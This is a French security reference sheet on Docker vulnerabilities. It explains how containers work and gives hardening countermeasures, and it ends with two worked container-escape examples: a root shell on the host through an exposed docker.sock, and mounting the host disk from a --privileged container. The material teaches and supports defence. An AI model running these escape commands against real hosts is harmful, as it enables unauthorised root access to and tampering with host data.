Docker - Générique

Description

Docker est un logiciel de containerisation d'application. En d'autres termes, Docker vous permet de regrouper vos applications et toutes les dépendances nécessaires dans un conteneur virtuel, qui peut être exécuté sur n'importe quel ordinateur doté de Docker.

Docker fonctionne en utilisant des **technologies de virtualisation du système d'exploitation**. Lorsque vous exécutez une image Docker dans un conteneur, Docker crée un environnement virtuel isolé sur votre ordinateur, qui fonctionne de manière indépendante du reste de votre système.

Cet environnement virtuel est créé en utilisant des fonctionnalités de virtualisation telles que les **namespaces** et les **cgroups** de Linux :

- Les namespaces permettent de créer des espaces de noms virtuels qui sont isolés les uns des autres, de sorte que chaque conteneur a l'impression d'avoir son propre espace de noms ;
- Les cgroups, quant à eux, permettent de limiter l'accès des conteneurs aux ressources système, comme la mémoire ou les CPU.

Ainsi, lorsque vous exécutez une image Docker dans un conteneur, Docker crée un environnement virtuel isolé en utilisant les namespaces et les cgroups de Linux, et y exécute l'application décrite dans l'image. Cela permet de s'assurer que l'application est exécutée de manière totalement independante de l'environnement de l'hôte, ce qui facilite le déploiement et la gestion des applications.

Le fonctionnement de Docker repose sur l'utilisation de **couches** (layers en anglais). Chaque couche représente une modification apportée à l'image de base. Par exemple, si vous installez un logiciel supplémentaire dans votre image Docker, une nouvelle couche sera créée pour enregistrer cette modification.

L'avantage de cette approche est qu'elle permet de partager facilement les images Docker. Si vous utilisez une image qui a déjà été créée et modifiée par quelqu'un d'autre, vous n'avez besoin de télécharger que les couches qui ont été modifiées par rapport à l'image de base, ce qui rend le téléchargement beaucoup plus rapide. De plus, l'utilisation de couches permet de **conserver l'historique des modifications** apportées à l'image, ce qui peut être très pratique pour le débogage et la maintenance.

En résumé, **Docker utilise des couches pour enregistrer les modifications apportées à une image de base, ce qui permet de partager facilement ces images et de conserver l'historique des modifications.**

Prérequis d'exploitation

Pour exploiter des vulnérabilités sur Docker, il est nécessaire d’avoir accès à un export d'une image Docker, ou bien un shell directement dans un container exécutant l'image à analyser.

Connaissances nécessaires

- Comprendre le fonctionnement de Docker (images, containers, layers, etc.) ;
- Connaitre les failles de sécurité courantes liées à Docker ;
- Connaissances de base du système d'exploitation Linux (majoritairement utilisé avec Docker).

Outils nécessaires

- Outil d'analyse d'images Docker (recherche de mauvaises pratiques) : deepce ou docker-bench-security.

Flux d'exécution

Explorer

Récupérer différentes images Docker intéressantes à analyser depuis des registres en ligne comme **Docker Hub** ou **GitLab**.

Expérimenter

Il existe plusieurs façons d'analyser une image ou un container Docker à la recherche de vulnérabilités. Voici quelques approches courantes :

- **Utilisation de scanners de vulnérabilités** : il existe de nombreux outils qui peuvent scanner une image Docker pour détecter les vulnérabilités connues ;

- **Examen manuel des fichiers et des paquets inclus dans l'image** : vous pouvez également explorer manuellement l'image pour repérer les fichiers ou les paquets qui pourraient être suspectés ou bien chercher une mauvaise configuration. Par exemple, vous pouvez vérifier les versions des paquets installés et vous assurer qu'ils ne sont pas obsolètes et ne comportent pas de vulnérabilités connues ;
- **Vérifier les privilèges accordés au conteneur** : si le conteneur a des privilèges élevés, il peut être possible de les exploiter pour échapper au container. Par exemple, si le conteneur a les privilèges de root, il peut être possible de lancer des commandes qui permettent de sortir du container ;
- **Vérifier les fichiers partagés avec le conteneur** : si des fichiers sont partagés entre le conteneur et l'hôte, il peut être possible de les exploiter pour échapper au container. Par exemple, si un fichier partagé contient des données sensibles ou des informations d'identification, il peut être possible de les utiliser pour accéder à l'hôte.

Exploiter

Conséquences potentielles

L'exploitation réussie de vulnérabilités sur Docker peut permettre :

- **L'accès non autorisé à des données sensibles** : si le conteneur accédait à des données sensibles, il pourrait être possible de les exfiltrer ou de les altérer ;
- **La compromission de l'hôte** : si l'exploitation permet d'échapper au container et d'accéder à l'hôte, il peut être possible de compromettre l'intégrité ou la disponibilité de l'hôte ;
- **La propagation à d'autres conteneurs ou hôtes** : si l'exploitation permet d'échapper à un conteneur et d'accéder à d'autres conteneurs ou hôtes, il peut être possible de propager la compromission à d'autres systèmes.

Contre-mesures

Les contre-mesures suivantes peuvent être mises en œuvre :

- **Inspecter l'image Docker avant de l'utiliser**. Il n'est pas impossible que l'image ait été corrompue ou soit malveillante. Utiliser dive pour réaliser cette analyse ;
- **N'utiliser pas l'argument “–privileged” et ne monter pas un Docker socket à l'intérieur du conteneur lors de son lancement**. Le socket Docker permet de créer des conteneurs, c'est donc un moyen facile de prendre le contrôle total de l'hôte, par exemple en exécutant un autre conteneur avec l'argument **-privileged** ;
- **Éviter d'utiliser le compte root à l'intérieur du conteneur**. Utiliser un utilisateur ou namespaces d'utilisateurs différents. Le compte root dans le conteneur est le même que sur l'hôte, sauf s'il est remappé avec des namespaces. Il n'est que légèrement restreint par les namespaces, les capabilities et les cgroups de Linux ;
- **Supprimer toutes les capabilities “–cap-drop=all” et activer seulement celles qui sont nécessaires “–cap-add=CAPABILITY”**. Beaucoup de processus n'ont pas besoin de capacités et les ajouter augmente la portée d'une attaque potentielle ;
- **Utiliser l'option de sécurité “no-new-privileges”** pour empêcher les processus d'obtenir plus de privilèges, par exemple par le biais de binaires suid.

Comment cela fonctionne ?

Les scénarios suivants peuvent être joués via l’exploitation de cette vulnérabilité :

- Accès aux données de l’hôte suite à l’exposition de la socket Docker dans le container.
- Accès aux données de l’hôte suite à l’ajout de l’option **—privileged** lors du lancement du conteneur.

Exemple 1

Si un attaquant réussit à compromettre une application s’exécutant dans un container Docker et que ce dernier est en mesure d’exécuter des commandes dans le conteneur avec un utilisateur sans privilèges, il peut réaliser une élévation de privilèges sur l’hôte dans le cas où le daemon Docker est exposé et que l’utilisateur est dans le groupe “docker” :

```
hellodocker@ubuntu:~$ find / -name docker.sock 2>/dev/null
  /run/docker.sock

hellodocker@ubuntu:~$ groups
  hellodocker docker

hellodocker@ubuntu:~$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
```

```
root@ubuntu:~$ id
  uid=0(root) gid=0(root) groups=0(root)
```

Cette commande permet de monter le répertoire **/** de l'hôte dans le répertoire **/mnt** d'un nouveau conteneur, puis avec **chroot** de se placer dans le nouveau contexte **/mnt** et de lancer un shell avec la commande **sh**.

Exemple 2

Les conteneurs Docker bien configurés n'autorisent normalement pas de commande comme **fdisk -l**. Cependant, si le conteneur est mal configuré et que l'argument **—privileged** est spécifié, il est possible d'obtenir les privilèges nécessaires pour obtenir un accès aux données présentes sur l'hôte :

```
root@99c2f98b5b62:/$ fdisk -l
Disk /dev/loop0: 4 KiB, 4096 bytes, 8 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

root@99c2f98b5b62:/$ fdisk -l | grep -i linux
/dev/nvme0n1p1    2048    1574911   1572864   768M Linux reserved
/dev/nvme0n1p5 1841152 1000215182 998374031 476.1G Linux reserved

root@99c2f98b5b62:/$ mkdir -p /mnt/escape

root@99c2f98b5b62:/$ mount /dev/nvme0n1p5 /mnt/escape/

root@99c2f98b5b62:/$ ls /mnt/escape
bin   dev  home  lib32  libx32  mnt  proc  run   srv  tmp  var
boot  etc  lib   lib64  media   opt  root  sbin  sys  usr
```

Avec les commandes précédentes, nous avons pu monter le disque contenant les données du système hôte directement à l'intérieur du conteneur. Avec ce type d'accès, nous pouvons avoir la possibilité de lire et modifier les données.

References

ATT&CK :

- T1611

URL :

- https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout
- https://www.docker.com/
- https://hub.docker.com/
- https://github.com/stealthcopter/deepce
- https://github.com/docker/docker-bench-security
- https://github.com/wagoodman/dive

Retour fiches vulnérabilités

- Cyber fiches vulnérabilités